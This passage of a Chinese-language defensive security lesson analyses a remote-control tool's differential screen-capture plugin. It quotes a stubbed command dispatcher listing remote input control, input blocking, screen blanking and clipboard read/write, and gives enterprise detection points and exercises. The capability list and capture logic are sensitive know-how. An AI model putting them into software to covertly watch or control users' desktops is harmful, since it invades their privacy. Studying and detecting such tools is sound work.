检测策略 容易按带宽识别 需要看周期和图形 API

# 17. 命令面和控制风险

OnReceive 中仍然包含远程控制、FPS、黑屏、屏蔽输入、分层窗口和剪贴板相关命令。

// 源码位置:主插件\差异屏幕\差异屏幕\ScreenDifManager.cpp:74-126
// 防御分析注释:差异屏幕虽然强调低带宽,但命令面仍包含多类高风险能力。
// 本课只做风险归类,不提供触发方式。
void CScreenDifManager::OnReceive(LPBYTE lpBuffer, UINT nSize)
{
    if (lpBuffer[0] == TOKEN_HEARTBEAT)
        return;

    switch (lpBuffer[0])
    {
    case COMMAND_SCREEN_CONTROL_DIF:
        // 高风险:处理远程输入控制事件。
        ProcessCommand(lpBuffer + 1, nSize - 1);
        break;

    case COMMAND_NEXT_DIF:
        NotifyDialogIsOpen();
        break;

    case COMMAND_SCREEN_RESET_DIF:
    case COMMAND_SCREEN_FPS_DIF:
        // 调整位深或帧率。
        break;

    case COMMAND_SCREEN_BLOCK_INPUT_DIF:
        // 高风险:屏蔽本地输入。
        break;

    case COMMAND_SCREEN_BLANK_DIF:
        // 高风险:黑屏状态。
        break;

    case COMMAND_SCREEN_CAPTURE_LAYER_DIF:
        // 捕获分层窗口,扩大隐私范围。
        break;

    case COMMAND_SCREEN_GET_CLIPBOARD_DIF:
    case COMMAND_SCREEN_SET_CLIPBOARD_DIF:
        // 高风险:剪贴板读取和写入。
        break;
    }
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42

高风险不是因为“差异算法”,而是因为它和屏幕观察、输入控制、黑屏、剪贴板放在同一个会话里。

# 18. 低带宽不等于低风险

差异屏幕比全量屏幕更省流量,但风险仍然很高:

误解 正确认识
流量小就安全 小包也可能是持续桌面差异
只传变化区域就不泄露 变化区域常常就是用户正在操作的敏感区域
只要没有大图像包就不用管 还要看 GDI 采集、压缩、长连接和命令面
FPS 低就没风险 1 FPS 也足以观察很多业务操作

# 19. 企业检测点

19. 企业检测点(配图)

建议从以下角度建立检测:

层面 检测点 说明
图形 API GetDCGetDesktopWindowBitBltCreateDIBSection 屏幕采集基础链
内存形态 双缓冲、位图大小缓冲、持续比较 差异传输常见结构
网络形态 首包较大,后续小包周期出现 不要只按大带宽判断
压缩行为 zlib compress 差异块发送前仍会压缩
命令面 FPS、黑屏、输入屏蔽、剪贴板 高风险远程控制能力
隐私范围 分层窗口和光标状态 可能泄露更多桌面上下文
合规侧 用户确认、会话提示、授权记录 合法远程协助必须具备

可以设计这样的关联逻辑:

  1. 同一进程调用 BitBlt 周期采集桌面。
  2. 同一进程创建大块位图内存并进行重复比较。
  3. 同一进程调用 zlib 压缩。
  4. 同一连接持续发送小包或中等大小包。
  5. 出现剪贴板读取、输入屏蔽或黑屏行为。

前 4 项满足时已经应重点关注;叠加第 5 项时应提升风险等级。

# 20. 合法练习题

  1. 不运行插件,只阅读源码,画出 sendNextScreen -> getNextScreen -> Compare -> compress -> Send 的调用链。
  2. 用自己的话解释 offset + length + bytes 为什么能减少传输量。
  3. 画出 TOKEN_NEXTSCREEN_DIF 解压后的缓冲区结构:光标位置、光标类型、差异块。
  4. 说明主控端 DrawNextScreenDiff 如何把差异块写回 m_lpScreenDIB
  5. 比较第 31 课高速屏幕和第 32 课差异屏幕,列出 5 个相同检测点和 3 个不同检测点。
  6. 设计一条企业规则:低带宽长连接叠加周期 BitBlt 时触发屏幕采集告警。
  7. 站在合法远程协助产品设计者角度,写出差异屏幕功能必须具备的用户提示、授权和日志要求。

# 21. 本课小结

差异屏幕的核心是“首帧全量、后续差异”。插件端通过双缓冲保存上一帧和当前帧,再由 Compare 输出 offset + length + bytes 形式的变化块,最后压缩发送;主控端先用首帧建立完整 m_lpScreenDIB,再把每个差异块按 offset 写回这块完整 DIB,从而持续组装出完整屏幕画面。它确实降低了带宽,但没有降低隐私和远程控制风险。防御侧要把周期性 BitBlt、双缓冲比较、压缩、小包长连接、剪贴板和控制命令关联起来识别。

安全工程知识交流加wx:easy_coder,黑灰产勿扰,企业单位合作请出示有效证件。

上次更新: 2026/07/14, 19:37:40

社区交流

讨论与留言

前往 GitHub Issues →

本留言区仅对应当前文章,欢迎补充观点、提出问题或帮助修正文中疏漏。 留言由 GitHub/Gitalk 提供,需要使用 GitHub 登录。

最近更新
第 1 课:专栏导论与安全边界
07-01
第 3 课:安装编译与调试环境
07-01
第 4 课:第三方库下载、编译与依赖管理
07-01
更多文章>